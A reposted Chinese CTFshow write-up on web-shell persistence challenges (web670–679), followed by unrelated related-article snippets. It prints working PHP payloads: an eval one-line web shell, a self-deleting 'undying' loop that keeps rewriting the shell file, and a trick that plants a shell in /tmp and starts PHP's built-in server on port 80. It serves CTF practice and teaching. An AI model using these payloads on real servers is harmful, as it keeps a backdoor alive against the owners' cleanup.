Ctfshow web入门 权限维持篇 web670-web679 详细题解 全

news2024/9/22 22:25:51

CTFshow 权限维持 web670【】

补充一下PHP中单双引号的区别:

单引号和双引号之间最显着的区别在于我们插入字符串和变量时。单引号不插入字符串和变量。**单引号内的内容会按原样打印出来。**在大多数情况下,单引号内没有任何变量或转义序列的编译。

但是,在双引号的情况下,写在引号内的变量将被插入字符串。这意味着将评估字符串中的变量。因此,在插入字符串和变量时很容易使用双引号。双引号优于单引号的优点是我们不需要使用.运算符连接字符串和变量。但是,由于需要在字符串中计算变量,因此使用双引号会比使用单引号稍微慢一些。

通俗一点说,双引号内的内容更加“智能”一点,如转义符$_POST[1]只有在双引号内才会被解析


题目说明:想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在。

image-20230816234814654

首先执行ls等命令查看目录

GET:?action=cmd
POST:cmd=system('ls /');

当前目录下只有一个index.php文件,根目录下确实没有flag。

image-20230817150326569

然后phpinfo简单看看PHP配置。无禁用函数。

image-20230817153054283

尝试写一个一句话马到当前目录(就是web目录)下的7.php文件中。

GET:?action=cmd

POST:cmd=file_put_contents('7.php', '<?php @eval($_POST[1]);?>');

发现这里PHP是有文件写入权限的。(写马不要用双引号,一开始踩坑了,单引号原样输出到木马文件中)

image-20230817155201448

补充一个踩坑时候找到的知识点:short_open_tag=Off不允许使用代码开始标志的缩写形式(<? ?> )。

此外,执行check之后,会发现当前目录下所有文件都被删了。。。所以题目归为权限维持。

GET:?action=check

image-20230817155428863

羽师傅猜测check后执行:

echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *

(重开环境)以此猜测为基础,维持权限的方法有三。

方法一:

利用rm -rf *的小缺陷,它无法删除点号开头的文件,所以可以写木马到.7.php文件,check后不会被删除。

GET:?action=cmd

POST:cmd=file_put_contents('.shell.php', '<?php @eval($_POST[1]);?>');

emmm,但是貌似写不进去。

image-20230817160937310


方法二:

可以使用不死马将木马写入内存。

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = 'shell.php';
    $code = '<?php @eval($_POST[1]);?>';
    while (1) {
        file_put_contents($file, $code);
        usleep(5000);
    }
?>

解释一下不死马(内存马):

set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)

ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True或者1,则忽略与用户的断开)

unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)

file_put_contents函数:将一个字符串写入该文件中

usleep函数:延迟执行当前脚本数微秒,即条件竞争

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

image-20230817161537007


方法三:

如果题目出网的话可以使用反弹shell。
不过题目是不出网的,所以这种方法无法使用。

CTFshow 权限维持 web671

看起来和web670没什么区别。

image-20230817161624813

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

唯一的区别就是,flag文件在根目录。

image-20230817162000888

CTFshow 权限维持 web672

看起来还是和web670没什么区别。

image-20230817162047836

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817162246469

CTFshow 权限维持 web673

看起来还是和web670没什么区别。

image-20230817163159398

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817163349039

CTFshow 权限维持 web674

看起来还是和web670没什么区别。

image-20230817163443528

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817164009659

CTFshow 权限维持 web675

看起来还是和web670没什么区别。

image-20230817164050875

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

和web671没区别。

image-20230817173416029

CTFshow 权限维持 web676

看起来还是和web670没什么区别。

image-20230817174037995

payload:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

访问该不死马17.php后(访问时会一直加载,第二次访问就404找不到了),再触发check,然后就可以在shell.php执行命令拿flag了。

image-20230817184524309

CTFshow 权限维持 web677【】

看起来还是和web670没什么区别。(只是看起来,这次是真有区别了)

image-20230817185303987

用以前的payload试试:

GET:?action=cmd

POST:cmd=file_put_contents('17.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

查看一下当前目录,发现并没有成功写入文件。这题应该是没有了写入文件权限(PHP存放临时文件的临时目录/tmp除外)

image-20230817185421674

写不了文件就得换一种方法了。羽师傅的payload:

GET:?action=cmd

POST:cmd=system('while true;do cat /f*;done');

while true;do cat /tmp/f*;done是shell脚本的语法,满足条件(true)时,执行cat /f*命令。

shell脚本之十:while循环及应用实践 - cuiyongchao007 - 博客园 (cnblogs.com)

执行后,然后直接check。

可能需要等一会才能出flag,要耐心哦~(要不然就会像我一样卡了两天…)

image-20230820000343920

同一原理,check会删掉所有文件但是不会杀掉进程,那就我们可以使用延时的方法读取/flag文件。

GET:?action=cmd

POST:cmd=system('sleep 10;cat /f*');

check后等一会flag就出来了。

image-20230820001123033

CTFshow 权限维持 web678

同web677。

CTFshow 权限维持 web679【】

题目描述:check后,会停止一切web服务,包括nginx php-fpm,天地同寿的打法,你能应付吗

源码还是一样。

image-20230818010549799

如果check之后会关了web服务的话,无论是写了文件还是一直在执行cat /f*命令都会失效,因为都没web服务了,客户端根本连接不到服务端,无法进行操作。

大佬们的思路是启动php内置服务器,类似于python能开启http服务一样。

由于是www-data权限,⽆法直接启动nginx和php-fpm,但是可以启动php内置服务器php -S 0.0.0.0:80,运行命令的根目录就被当成web服务根目录。

payload:

GET:?action=cmd

POST:
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
//这里要用双引号,$_POST[1]由于$被转义了,所以原样输出
或者
cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php;sleep 10;php -S 0.0.0.0:80');

把木马写入可写目录/tmp下的index.php(默认的索引文件,访问时无需像访问同目录下1.php一样加上文件名,访问index.php是直接url/,访问1.php是访问url/1.php中,然后睡十秒,在/tmp目录下开启php内置服务器。

十秒是给我们的反应时间(点check时间)。流程是执行命令后,木马已经写入。然后睡十秒,期间我们check生成,期间命令仍然执行尽管已经关了web服务(因为只是web服务关了,外界访问不到,但是服务器内部php语言环境还在)。十秒结束后php内置服务开启,我们就可以使用木马执行命令。

image-20230818015456642

image-20230818015436893


权限维持结束收工!

参考文章如下:

CTFSHOW权限维持篇_yu22x的博客-CSDN博客

【ctfshow】web入门-权限维持 - lewiserii’s blog

内网渗透之权限维持 - anoldcat - 博客园 (cnblogs.com)

权限维持及后门持久化技巧总结 - FreeBuf网络安全行业门户

image-20230820001301875

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/901507.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

论文《LoRA: Low-Rank Adaptation of Large Language Models》阅读

论文《LoRA: Low-Rank Adaptation of Large Language Models》阅读 BackgroundIntroducitonProblem StatementMethodology Δ W \Delta W ΔW 的选择 W W W的选择 总结 今天带来的是由微软Edward Hu等人完成并发表在ICLR 2022上的论文《LoRA: Low-Rank Adaptation of Large Lan…

Java 日期格式(yyyy-MM-dd HH:mm:ss SSS)

常用格式为&#xff1a;yyyy-MM-dd HH:mm:ss 以 2019-12-31 06:07:59:666 时间为例&#xff1a; 字符 含义 Example y&#xff08;小写的y&#xff09; 年 yyyy---->2019 M&#xff08;大写的M&#xff09; 月 MM---->12 d&#xff08;小写的d&#xff09; 一…

使用Jmeter自带recorder代理服务器录制接口脚本

脚本录制 配置线程组 添加代理服务器 端口 和 录制脚本放置位置可根据需要设置 启动录制 点击启动后 弹出创建证书提示&#xff0c;点击OK 这个证书后续需要使用到 然后可见 一个弹窗。 Recorder . 本质是代理服务录制交易控制 可设置对应数据 方便录制脚本的查看 证书配置…

关于es中索引,倒排索引的理解

下面是我查询进行理解的东西 也就是说我们ES中的索引就相当于我们mysql中的数据库表&#xff0c;索引库就相当于我们的数据库&#xff0c;我们按照mapping规则会根据相应的字段&#xff08;index为true默认&#xff09;来创建倒排索引&#xff0c;这个倒排索引就相当于我们索引…

配置覆盖/获取追踪id

12 配置覆盖 提供了配置覆盖功能通过启动命令动态指定服务名&#xff0c;agent只需要部署一份。系统配置 -Dskywalking.agent.service_nameskywalking_mysql探针配置 指定jar包后&#xff0c;继续指定探针配置。系统环境变量覆盖优先级 探针配置>系统配置>系统环境变量&…

ONES × 鲁邦通|打造研发一体化平台,落地组织级流程规范

近日&#xff0c;ONES 签约工业互联网行业领先的解决方案提供商——鲁邦通&#xff0c;助力鲁邦通优化组织级流程规范&#xff0c;落地从需求到交付的全生命周期线上化管理。 依托于 ONES 一站式研发管理平台&#xff0c;鲁邦通在软硬件设计开发、项目管理和精益生产等方面的数…

企微配置回调服务

文章目录 一、简介1、概述2、相关文档地址 二、企微配置消息服务器1、配置消息接收参数2、参数解析3、参数拼接规则 三、代码编写—使用已有库1、代码下载2、代码修改3、服务代码编写 四、测试 一、简介 1、概述 什么时候需要回调服务 在集成企业微信与内部系统时&#xff0…

Spring 6.0官方文档示例(24): replace-method的用法

一、原始bean定义 package cn.edu.tju.study.service.anno.domain;public class MyValueCalculator {public String computeValue(String input) {return "you inputted: " input;}// some other methods... }二、replace bean定义 package cn.edu.tju.study.serv…

Win11中zookeeper的下载与安装

下载步骤 打开浏览器&#xff0c;前往 Apache ZooKeeper 的官方网站&#xff1a;zookeeper官方。在主页上点击"Project"选项&#xff0c;并点击"Release" 点击Download按钮&#xff0c;跳转到下载目录 在下载页面中&#xff0c;选择版本号&#xff0c;并点…

【王道-进程与线程】

#pic_center R 1 R_1 R1​ R 2 R^2 R2 目录 知识框架No.0 引言No.1 进程的概念、组成、特征一、进程的概念二、进程的组成1、PCB进程控制块2、程序段/数据段 三、程序是如何运行的&#xff1f;四、进程的特征五、总结 No.2 进程的状态转换和组织一、进程的状态1、创建态、就绪态…

Linux网络编程:Socket套接字编程(Server服务器 Client客户端)

文章目录&#xff1a; 一&#xff1a;定义和流程分析 1.定义 2.流程分析 3.网络字节序 二&#xff1a;相关函数 IP地址转换函数inet_pton inet_ntop&#xff08;本地字节序 网络字节序&#xff09; socket函数(创建一个套接字) bind函数(给socket绑定一个服务器地址结…

【数据库系统】--【5】DBMS查询处理

DBMS查询处理 01查询处理概述02查询编译词法、语法分析语义分析查询重写查询优化 03查询执行算法04查询执行模型 01查询处理概述 02查询编译 词法、语法分析 语义分析 查询重写 查询优化 03查询执行算法 04查询执行模型 小结 ● 查询处理概述 ● 查询编译 词法、语法分析语义分…

解决:(error) ERR unknown command shutdow,with args beginning with

目录 一、遇到问题 二、出现问题的原因 三、解决办法 一、遇到问题 要解决连接redis闪退的问题&#xff0c;按照许多的方式去进行都没有成功&#xff0c;在尝试使用了以下的命名去尝试时候&#xff0c;发现了这个问题。 二、出现问题的原因 这是一个粗心大意导致的错误&am…

远程线程注入(简单样例以及原理)

远程线程注入(简单样例以及原理) 注入的目标是将我们的代码注入到目标进程的地址空间中 注入通常可以根据注入的内容分为两种类型&#xff1a; shellcode注入 &#xff1a;这种注入是将我们的代码直接注入到目标内存中&#xff0c;这就要保证我们的代码在贴到其他地址上后仍…

7-2 求矩阵各行元素之和

分数 15 全屏浏览题目 切换布局 作者 C课程组 单位 浙江大学 本题要求编写程序&#xff0c;求一个给定的mn矩阵各行元素之和。 输入格式&#xff1a; 输入第一行给出两个正整数m和n&#xff08;1≤m,n≤6&#xff09;。随后m行&#xff0c;每行给出n个整数&#xff0c;其间…

You don‘t have an extension for debugging html.

flutter在vscode点 菜单栏的run 下的 start debugging后出现下面的错误。 点到main.dart文件&#xff0c;再执行运行按钮。

linux安装mysql错误处理

linux下mysql的安装与使用 linux安装mysql可有三种方式&#xff1a; 1、yum安装 2、源码安装 3、glibc安装 安装wget yum install -y wget https://blog.csdn.net/darendu/article/details/89874564?utm_sourceapp Linux上error while loading shared libraries问题解决方法…

Linux忘记root密码解决方法

当我们忘记root密码进不去服务器怎么办&#xff1f;不要担心&#xff0c;可以进入到linux的救援模式修改root密码。 下面直接上干货&#xff0c;流程如下&#xff1a; 1.重启电脑&#xff0c;按上下键滑动&#xff0c;保证不进入开机流程&#xff0c;然后按e键 2.出现此页面…

GAN生成对抗模型根据minist数据集生成手写数字图片

文章目录 1.项目介绍2相关网站3具体的代码及结果导入工具包设置超参数定义优化器&#xff0c;以及损失函数训练时的迭代过程训练结果的展示 1.项目介绍 通过用minist数据集进行训练&#xff0c;得到一个GAN模型&#xff0c;可以生成与minist数据集类似的图片。 GAN是一种生成模…

MySQL数据类型篇

数值类型 类型有符号(SIGNED)取值范围无符号(UNSIGNED)取值范围大小描述TINYINT(-128&#xff0c;127)(0&#xff0c;255)1byte小整数值SMALLINT(-32768&#xff0c;32767)(0&#xff0c;65535)2bytes大整数值INT/INTEGER(-2147483648&#xff0c;2147483647)(0&#xff0c;429…